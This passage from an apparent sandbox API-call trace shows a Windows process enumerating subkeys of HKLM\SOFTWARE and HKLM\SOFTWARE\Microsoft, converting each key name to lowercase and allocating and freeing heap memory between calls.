| out: lpName="SOFTWARE") returned 0x0 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abc58 [0175.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x3abc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abca0 [0175.626] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abc58) returned 1 [0175.626] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abca0) returned 1 [0175.626] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.626] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x19f8e8 | out: phkResult=0x19f8e8*=0xa0) returned 0x0 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x184) returned 0x3ad040 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abca0 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abc58 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abce8 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abd30 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abd78 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abdc0 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abe08 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abe50 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abe98 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abee0 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abf28 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abf70 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3abfb8 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac000 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac048 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac090 [0175.626] RegCloseKey (hKey=0x80000002) returned 0x0 [0175.626] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x3ab930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0175.626] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x3ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.627] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x3ab930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.627] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x3ab930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.627] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x3ab930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x3ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.627] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.627] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x3ab930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0175.627] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x3ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.628] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x3ab930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x3ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.628] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x3ab930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x3ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.628] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x19f8e8 | out: phkResult=0x19f8e8*=0x24) returned 0x0 [0175.628] RegCloseKey (hKey=0xa0) returned 0x0 [0175.628] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x3ab930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x3ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0175.628] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.628] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.629] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x3ab930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x3ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.629] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x3ab930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.629] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x3ab930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x3ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.629] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x3ab930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x3ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0175.629] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.629] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.629] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x3ab930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x3ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x3ab930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x3ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x3ab930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x3ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x3ab930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x3ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.630] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.630] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x3ab930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0175.630] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x3ac0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 [0175.631] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x3ab930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x80) returned 0x3abbb8 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac120 [0175.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x3ac120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0175.631] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x40) returned 0x3ac0d8 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac120) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3ac0d8) returned 1 [0175.631] RtlFreeHeap (HeapHandle=0x3a0000, Flags=0x0, BaseAddress=0x3abbb8) returned 1 